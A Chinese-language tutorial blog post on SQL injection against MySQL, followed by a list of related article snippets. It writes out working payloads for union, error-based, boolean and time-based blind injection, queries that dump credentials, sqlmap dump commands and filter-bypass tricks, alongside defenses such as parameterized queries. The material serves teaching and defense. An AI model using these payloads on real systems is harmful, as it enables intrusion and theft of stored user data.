Web—SQL注入攻击

article/2025/10/3 10:09:47

文章目录

  • 一、mysql常用语句
  • 二、SQL注入概念
    • 1. 产生原因
    • 2. 攻击分类
  • 三、攻击流程
    • 1. 常用检测语句如何识别SQL注入
    • 2. Mysql注入常用函数
    • 3. 查询数据的核心语法
    • 4. 联合查询
    • 5. 报错注入
    • 6. 布尔盲注
    • 7. 时间盲注
    • 8. SQL注入爆库语句
    • 9. Sqlmap常用命令
  • 四、常见防护手段及绕过方式
    • 1. 参数类型检测及绕过
      • 1.1 防护思路
      • 1.2 有效绕过方式
    • 2. 参数长度检测及其绕过
      • 2.1 检测思路
      • 2.2 绕过方式
    • 3. 危险参数过滤及绕过
      • 3.1 防护思路
      • 3.2 绕过方式
      • 3.3 针对过滤方式的绕过方式汇总
    • 4. 参数化查询
      • 4.1 防护思路
  • 五、总结

一、mysql常用语句

mysql -u root -p
show databases # 查看那些数据库
use 数据库名 #进入指定数据库
show tables # 查看数据库中有哪些表
desc 表名 # 查看数据
show create table 表名 # 查看表的细节
select version(); # 查询当前数据库版本
select @@version; # 查询数据库版本
select user(); # 查看当前用户
order by 1; # 指定第几列进行排序

数据库操作:

 create database mytest; # 创建名为mytest的数据库alter database mytest character set utf8; # 修改数据库编码为utf8show create database mytest; # 查看数据库状态drop database mytest; # 删除数据库 select database();# 查询当前使用的数据库是哪一个

表操作:

create table tablename(column_name1 colunm_type1, column_name2 colunm_type2); # 创建表alter table 表名 drop column 列名; # 删除指定列alter table 表名 add column 列名 column_type; # 添加列alter table 表名 change 旧列名 新列名 新列名属性; # 修改列名alter table 表名 modify 列名 新的列名属性; # 修改列属性show create table 表名; # 查看创建表的语句desc 表名; # 查看表结构

例子:创建数据表library

CREATE TABLE IF NOT EXISTS `library`(`lib_id` INT UNSIGNED AUTO_INCREMENT,`lib_title` VARCHAR(100) NOT NULL,`lib_author` VARCHAR(40) NOT NULL,`submission_date` DATE,PRIMARY KEY ( `lib_id` )
)ENGINE=InnoDB DEFAULT CHARSET=utf8;

重点语句

查询表中数据select * from 表名; # 查询表中所有内容select name from users; # 查询 users 表中 name 值;select * from users where age<30; # where条件语句,可以写 "=" ">" "<"select * from users limit 1,2; # limit 第一个参数是指定开始位置,第二个参数是个数
插入数据insert into table_name values(值1, 值2, ......);insert into table_name (列1, 列2,...) VALUES (值1, 值2,....);
删除数据delete from 表名 [WHERE Clause]; # 删除指定条件的语句delect from 表名; # 删除所有数据
更新数据update 表名 SET 字段1=new-value1, 字段2=new-value2 [WHERE Clause]; # 指定条件更新
语句

二、SQL注入概念

SQL注入是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。本质是修改当前查询语句的结构,从而获得额外的信息或执行内容。
原理:
用户查询某个信息或者进行订单查询业务时,用户提交相关查询参数,服务器收到参数后进行处理,再将处理后的参数提交到数据库进行查询,之后,将数据库返回的结果显示在页面上,这样就完成了一次查询的过程。但如果用户提交的数据中拼接了查询语句,恰好服务器没有对用户输入的参数进行有效过滤,那么数据库就会根据用户提交的语句进行查询,返回更多信息。

1. 产生原因

通常有一下几点:

  1. 参数处理问题:
    对用户参数进行了错误的类型处理。
    转义字符处理环节产生遗漏或可被绕过。
  2. 服务配置问题:
    不安全的数据库配置。
    Web应用对错误的处理方式不当:不当的类型处理、不安全的数据库配置、不合理的查询集处理、不当的错误处理、转义字符处理不当、多个提交处理不当。

2. 攻击分类

根据前台的数据是否回显和后台安全配置及防护情况进行区分,主要有两种类型:

  1. 回显注入
  2. 盲注

影响SQL注入过程的主要有以下几个方面:

  1. 数据库是否开启报错请求。
  2. 服务器端是否允许数据库报错展示。
  3. 有过滤代码机制
  4. 服务器开启了参数化查询或对查询过程预编译
  5. 服务器对查询进行了限速

三、攻击流程

典型的攻击流程如下:

  1. 判断Web系统使用的脚本语言,发现注入点,并确定是否存在sql注入漏洞
  2. 判断Web系统的数据库类型
  3. 判断数据库中表及其相应字段的结构
  4. 构造注入语句,得到表中的数据内容
  5. 查找网站管理员后台,用得到的管理员账号和密码登录
  6. 结合其他漏洞,得到服务器的WebShell并持续链接
  7. 进一步提权,得到服务器的系统权限

sql手工注入的思路:查找注入点、查库名、查表名、查字段名、查重点数据

1. 常用检测语句如何识别SQL注入

在这里插入图片描述

2. Mysql注入常用函数

函数名称函数功能
system_user()系统用户名
user()用户名
current_user()当前用户名
session_user()连接数据库的用户名
database()数据库名
version()数据库版本
@@datadir数据库路径
@@basedir数据库安装路径
@@version_compile_os操作系统
count()返回执行结果数量
concat()没有分隔符地连接字符串
concat_ws()有分隔符地连接字符串
group_concat()连接一个组的所有字符串,并以逗号分隔每一条数据
load_file()读取本地文件
into outfile写文件
ascii()字符串的ASCII代码值
ord()返回字符串第一个字符的ASCII值
mid()返回资格字符串的一部分
substr()返回一个字符串的一部分
length()返回字符串的长度

MySql内置数据库 information_schema
information_schema:提供访问数据库元数据的方式,其中保存着关于MYSQL服务器所维护的所有其他数据库的信息,如数据库名,数据库的表,表的数据类型与访问权限等。因此可利用SQL注入方式,通过远程注入查询语句方式实现直接读取MySql数据中information_schema库的信息。

3. 查询数据的核心语法

功能名称查询语句
查库select schema_name from information_schema.schemata
查表select table_name from information_schema.tables where table_schema=库名
查列select column_name from information_schema.columns where table_name=表名
查数据select 列名 from 库名.表名

4. 联合查询

sql语法:

select * from users union select 1,2,3; # 联合查询要保证两次查询的列数相等
union select 1,2,3 -- - 
order by ? # 帮我们确定数据表中有多少列数据,二分法快速判定

5. 报错注入

select * from users where id=1 and (select 1 from (select count(),concat(user(),floor(rand(0)2))x 
from information_schema.tables group by x)a);
select * from users where id=1 and updatexml(1,concat(0x7e,(select user()),0x7e),1);
使用substr函数来一段段的读取输出的内容
substr("12345678",1,5) -> 12345
updatexml(1,concat(0x5e,substr(version(),1,4),0x5e),1)
select * from users where id=1 and (extractvalue(1,concat(0x7e,(user()),0x7e)));
1. floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by 
x)a);
2. extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3. updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
4. geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
5. multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
6. polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7. multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
8. linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
9. multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

6. 布尔盲注

在实施盲注时,关键在于合理的实现对目标数据的猜测,并利用时间延迟等手段实现猜测正确与否的证明。
盲注的主要特点是:将想要查询的数据作为目标,构造SQL条件判断语句,与要查询的数据进行比较,并让数据库告知当前语句执行是否正确。

select * from users where username="admin" and password="admin";
and length(database())=8 --+ # 判断当前数据库名长度
and substr(database(),1,1)='a' --+ # 使用指定字符一位一位判断截取到的字符
ascii(substr(database(),1,1))=1 --+ # 使用ascii码一位一位比对截取到的字符

7. 时间盲注

if("表达式",条件1,条件2)
and if(length(database())=1,sleep(5),1) --+ # 判断数据库名字
and if(ascii(substr(database(),1,1))=1,sleep(5),1) --+ # ascii码比对字符
sleep(5) # 延时函数,等待五秒
if(表达式,结果1,结果2)

8. SQL注入爆库语句

1.爆库:select group_concat(schema_name) from information_schema.schemata 
2.爆表1:select group_concat(table_name) from information_schema.tables where 
table_schema='security' 要加引号爆表2:select table_name from information_schema.tables where 
table_schema='security' limit 3,1 加引号
3.爆字段1:select group_concat(column_name) from information_schema.columns where 
table_name='users' and table_schema='security' 加引号爆字段2:select column_name from information_schema.columns where 
table_name='users' and table_schema='security' limit 1,1 username,password
4.字段值:select group_concat(username,0x3a,password) from security.users 不加引号

9. Sqlmap常用命令


1. -u "url"     检测注入点
2.--dbs         列出所有数据库的名字
3.--current-db     列出当前数据库的名字
4.-D             指定一个数据库
5.--tables     列出表名
6.-T               指定表名
7.--columns 列出所有字段名
8.-C               指定字段 eg: -D security -T users -C password,username --dump
9.--dump     列出字段内容
10.-D security --dump 爆出数据库所有数据
-u 目标URL  
例:sqlmap -u "www.abc.com/index.php?id=1"
-m 后接一个txt文件,文件中是多个url,sqlmap会自动化的检测其中的所有url。
例:sqlmap -m target.txt
-r 可以将一个post请求方式的数据包(bp抓包)保存在一个txt中,sqlmap会通过post方式检测目标。
例:sqlmap -r bp.txt
--data # 指定post参数sqlmap -u http://xxxx --data "userid=aaa&passwd=bbbb"
--random-agent # 随机ua
--level=LEVEL # 设置测试的等级(1-5,默认为1)lv2:cookie; lv3:user-agent,refere; 
lv5:host
--risk=RISK # 升高风险等级会增加数据被篡改的风险。risk 2:基于事件的测试;risk 3:or语句的
测试;risk 4:update的测试
-p 指定测试参数
例: sqlmap -r bp.txt -p "username"

四、常见防护手段及绕过方式

SQL注入的防护方法包括参数过滤和预编译处理,参数过滤分为数据类型显示和危险字符处理。总之就是要么严防死守细致检查,要么严格限定参数的有效范围(参数化查询),尽可能显示用户可提交参数的类型。

1. 参数类型检测及绕过

1.1 防护思路

针对常见的参数提交接口,如参数均为数字,可对参数进行过滤,避免参数中出现非字符类型字符,并对参数长度进行限制。但缺点是会极大的限制提交的参数格式,在需输入多种类型的字符场合下不适用。

可用以下函数实现:

 //通过指定的禁止base转换(默认为10进制),返回变量var的integer数值
int intval(mixed $var'[,int $base=10]); 
例:$id=intval($id);//检测表了是否为数字或数字字符串,但此函数允许输入的为负数和小数
bool is_numeric(mixed $var);   
例:if(is_numeric($id)){......}//检测字符串中的字符是否都是数字,负数和小数无法通过检测
ctype_digit
例:if(ctype_digit($id)){......}

1.2 有效绕过方式

使用某些技巧令数据库报错,根据细微查表帮助攻击者识别后台的过滤函数。
若后台没有对出错情况进行相应的处理,则攻击者可以通过正常页面和错误页面的显示猜测数据库的内容。

2. 参数长度检测及其绕过

2.1 检测思路

由于成功执行的SQL注入语句字符数量通常会非常多,远大于正常业务中有效参数的长度,可严格控制提交点的字符长度,使大部分注入语句没办法执行。
在PHP下,可用strlen函数检查输入长度

if(strlen($id)<4//参数长度是否小于4

2.2 绕过方式

构造简短的语句进行绕过、添加注释符、在构造SQL语句时利用and、or、注释符等修改原有语句意图。

3. 危险参数过滤及绕过

对参数中的敏感信息进行检测和过滤,避免危险字符被系统重构成查询语句,导致SQL注入执行成功。

3.1 防护思路

常见的危险参数过滤方法包括关键字、内置函数、敏感字符的过滤,其过滤方法主要有有以下三种:

  1. 黑名单过滤
    将可能用户注入的敏感字符写入黑名单中,如:’、union、select等,如果发现敏感字符则直接删除,可利用str_replace()函数进行过滤,也可使用正则表达式进行过滤。
  2. 白名单过滤
    例如,用数据库中的已知值进行校对,通常对参数结果将那些合法性校验,复合白名单的数据方可显示。
  3. 参数转义
    对变量默认进行addsalashes(在预定义字符前添加反斜杠),使得SQL注入语句构造失败。
  4. GPC过滤
    GPC是get、post、cookie三种数据接受方式的合称,若用户提交的参数中存在敏感字符,就在其前端添加反斜杠。

防护手段仍建议以黑名单+参数转义为主,这也是针对SQL敏感参数处理的主要方式。

3.2 绕过方式

对应绕过方式主要是利用参数变化的方式来绕过黑名单防护

针对黑名单:
绕过黑名单防护措施的核心思路是:将关键字符或特定符号进行不同形式的变换,从而实现绕过过滤器的目的

  1. 使用大小写变种
    通过改变攻击字符的大小写尝试避开过滤,因为数据库中使用不区分大小写的方式处理SQL关键字。
    但如果系统对输入使用了大小写转换,那么该方法就没有用了。
  2. 使用SQL注释
    使用注释代替空格,比如:order/**/by/**/2,这样可以避免后台对关键字字符的过滤,追逐执行SQL语句时,数据库会自动忽视注释符。
  3. 嵌套
    如嵌套过滤的表达式如:selecselectt,过滤之后的部分就可以重新结合成select。
  4. 使用+实现危险字符的拆分
    在数据库中+可作为链接字符串,如or可利用+号拆分为o+r,这样可绕过前台检测且数据库执行时仍为or
  5. 利用系统注释符截断
    用“- - ”对后面语句阶段,进而导致SQL语句的语义发生变化。
  6. 替换可能危险的字符
    例如用“like”或“in”替换“=”,均可实现相同的效果。

如果采用黑名单过滤,建议务必限制禁止执行的函数,仅仅禁用敏感字符并不会获得太好的效果。
针对GPC过滤
对GPC添加的“\”进行转义,可尝试宽字节注入方式

3.3 针对过滤方式的绕过方式汇总

  1. 尖括号过滤绕过方式
    如果尖括号被过滤,可使用between和greatest函数替代<>。
//假设目标大于或等于min且小于或等于max,则between返回值为1(true),否则返回0(false)
between min and max //返回ab中较大的那个数
greatest(a,b)
  1. 逗号过滤绕过方式
    使用from x for y进行绕过。
    在报错注入的环境下还可利用数学运算函数在子查询中报错,例如exp函数。
  2. 空格绕过方式
    常见的空格绕过方式为利用注释符进行绕过,除了利用注释符还可利用括号进行绕过,通过括号将参数括起来
id=(sleep(ascii(mid(user()from(1)for(1)))=114))

4. 参数化查询

4.1 防护思路

参数化查询是指数据库服务器在数据库完成SQL指令比那以后,才套用参数运行,就算参数中含有有损的指令,也不会被数据库所运行,仅认为他是一个参数。
由于代码中严格规定了用户输入参数即为数据库的查询内容,导致攻击者无法对当前的sql语句进行修改,也就导致SQL注入失败

五、总结

SQL注入最大的危害在于数据泄露,但SQL注入并不能直接获得Web系统的权限。在对抗SQL注入攻击方面,有效的措施是过滤和转义,针对中小型站点尽可能限制数据类型,限制提交数据的字符类型,对特殊字符及敏感函数进行过滤。针对大型站点推荐利用预编译方法或参数化查询。


http://chatgpt.dhexx.cn/article/ZaZ312Wj.shtml

相关文章

DVWA SQL注入攻击

SQL注入原理 SQL注入就是通过SQL命令插入到web表单递交或输入域名页面请求的查询字符串&#xff0c;最终达到欺骗服务器执行恶意的SQL命令。具体来说&#xff0c;它是利用现有应用程序&#xff0c;将恶意的SQL命令注入到后台数据库引擎执行的能力&#xff0c;它可以通过在WEB表…

sql注入攻击实例mysql_SQL 注入攻击案例

一、检测注入点 二、判断是否存在 SQL 注入可能 三、数据库爆破 四、字段爆破 五、数据库表爆破 六、用户名、密码爆破 七、总结 一、检测注入点 首先,在 http://120.203.13.75:6815/?id=1 目标站点页面发现了 ?id,说明可以通过查询 id=1 的内容来获得页面。 这相当于查询语…

SQL注入攻击实战演示(附源码)

SQL注入是一种非常常见的数据库攻击手段&#xff0c;SQL注入漏洞也是网络世界中最普遍的漏洞之一。大家也许都听过某某学长通过攻击学校数据库修改自己成绩的事情&#xff0c;这些学长们一般用的就是SQL注入方法。 文章目录&#xff1a; 何谓SQL注入&#xff1f; SQL数据库操…

SQL注入攻击入门

目录 一、SQL注入的原理 SQL注入漏洞的条件 二、SQL注入的危害 三、SQL注入的分类 1、注入点数据类型分类 &#xff08;1&#xff09;数字型注入 &#xff08;2&#xff09;字符型注入 2、注入点位置分类 3、注入方法分类 &#xff08;1&#xff09;布尔型注入 &…

数学里上凹,下凹,上凸,下凸

https://zhidao.baidu.com/question/238541854.html 数学里上凹&#xff0c;下凹&#xff0c;上凸&#xff0c;下凸统称为曲线的凸知性&#xff0c;其是指在平面坐标系里的图形样式&#xff1a; 1、开口向上的曲线&#xff0c;称为上凹&#xff0c;或称为下凸&#xff0c;形状…

凸凹函数

凹凸函数的代数定义 若函数f(x)为凸函数&#xff0c;那么- f(x) 为凹函数。所以&#xff0c;清楚了凸函数&#xff0c;等价于清楚了凹函数 凸函数的定义 对于一元函数f(x)&#xff0c;如果对于任意tϵ[0,1]均满足&#xff1a;f(tx1(1−t)x2)≤tf(x1)(1−t)f(x2)&#xff0c;则称…

一元函数的凹性concavity以及二阶导数

凹性&#xff08;concavity&#xff09;与函数导数的变化率有关。一个函数f是上凹(即抛物线方向开口向上)&#xff0c;其导数f是增函数&#xff0c;也意味着f的导数&#xff08;即f&#xff09;是正数&#xff1b;类似的一个函数f是下凹(即抛物线方向开口向下)&#xff0c;其导…

转载--32个鲜为人知的自学网站

分享32个鲜为人知并且完全免费的高质量自学网站&#xff0c;每个都是堪称神器&#xff0c;让你相见恨晚。 1&#xff1a;Oeasy 是一个完全免费的综合视频教程网站&#xff0c;非常良心实用。 它提供的视频教程非常丰富并且质量很高&#xff0c;包括&#xff1a;PS 教程、手机摄…

分享32个高质量的自学网站

原文作者&#xff1a;木子淇 链接&#xff1a;有哪些高质量的自学网站&#xff1f; - 知乎 来源&#xff1a;知乎 1&#xff1a;Oeasy http://oeasy.org/Oeasy 是一个完全免费的综合视频教程网站&#xff0c;非常良心实用。 它提供的视频教程非常丰富并且质量很高&#xf…

Jack魏--个人介绍

Jack魏 1.名字由来2.兴趣爱好3.专业技能4.所获荣誉5.所获证书6.博主平台7.阅读书籍 1.名字由来 大二去韩国大邱永进专门大学短期学习的时候&#xff0c; 遇到了来自加拿大的Jack老师&#xff0c; 他无拘无束、有趣的教学方式感动了我&#xff0c; 所以我的英文名为了致敬他&am…

saiku 连接 MySQL_Saiku连接mysql数据库(二)

Saiku连接Mysql数据库展示数据 参考链接&#xff1a;https://www.cnblogs.com/shirui/p/8573491.html 前提&#xff1a;Saiku已安装好&#xff0c;mysql已安装好 1.添加Saiku的数据库驱动&#xff1a; mysql-connect-java-5.1.17.jar 下载相应的数据库驱动放到 saiku-server\to…

解决生成的saiku文件读取中文乱码的问题

javax.ws.rs.WebApplicationException: org.saiku.service.util.exception.SaikuServiceException: org.saiku.service.util.exception.SaikuServiceException: Cannot get native cube for cube ( [pda].[pdaTest].[pdaTest].[鑽簵鍒嗘瀽] ) at org.saiku.web.rest.resource…

saiku集成CAS

最近一直在研究saiku如何集成公司的单点登录系统&#xff0c;通过google、百度搜集查阅了大量的相关资料&#xff0c;并和网友讨论最终在公司内部集成完成&#xff0c;最终测试上线&#xff1b;现将这一过程中的经验记录下来&#xff0c;分享给需要的朋友.... saiku集成CAS这一…

saiku连mysql 使用_Saiku的基本使用介绍(三)

Saiku的基本使用介绍(这里都是使用Admin用户登录系统) 1、启动安装好的Saiku ( ./start-saiku.sh ) ,浏览器使用访问系统 http://localhost:8080 ,然后使用 admin admin 登录系统 2、 登录系统后&#xff0c;首先点击 A &#xff0c;进入管理控制平台(添加数据源信息) 2.1 根据…

使用Saiku角色权限控制Schema行级权限操作

描述&#xff1a;saiku加载schema模型&#xff0c;选择维度或度量&#xff0c;动态组合要展示数据进行分析操作的工具。 话不多说&#xff0c;直接操作 1、用admin登陆saiku&#xff0c;点击A按钮&#xff0c;添加用户sa 如图&#xff1a; 2、设置用户名&#xff0c;密码&…

saiku java_saiku 3.8 二次开发代码整理步骤(20160727更新)

创建新项目saiku3 在创建的项目中&#xff0c;分别创建resource目录&#xff1a;“src/main/saiku-web”&#xff0c;“src/main/saiku-service”&#xff0c;“src/main/saiku-olap-util”&#xff0c;并将saiku-core下的相应代码(java目录下和resources目录下的文件)分别copy…

saiku连mysql 使用_saiku应用的调试

ubuntu下解压saiku包后使用&#xff1a; 运行.sh命令(.bat是windows命令)。运行时注意权限。可以先chmod ax *.sh 提示&#xff0c;catali&#xff1f;.sh出错。 这是tomcat的一个文件&#xff0c;服务器不行&#xff0c;先查权限&#xff0c;当前用户。 一般是java配置的不对。…

saiku java_saiku3.8二次开发项目搭建(非maven)

参考文章&#xff1a;http://blog.csdn.net/gsying1474/article/details/51603535 本文大部分参考了上面的博文&#xff0c;这里只是做一个记录&#xff0c;由于本人maven能力有限&#xff0c;尝试失败后这里搭建的是普通web项目。 saiku3.8项目搭建步骤&#xff1a; 1.下载sai…

saiku 连接 MySQL_saiku迁移至mysql步骤

saiku数据库的表和用户默认创建是在启动项目的时候&#xff0c;通过初始化 saiku-beans.xml 中的 h2database 这个bean执行org.saiku.service.Database类的init方法来初始化数据表和默认用户的。 默认用户迁移mysql步骤&#xff1a; 1.修改web.xml文件&#xff0c;修改名为db.u…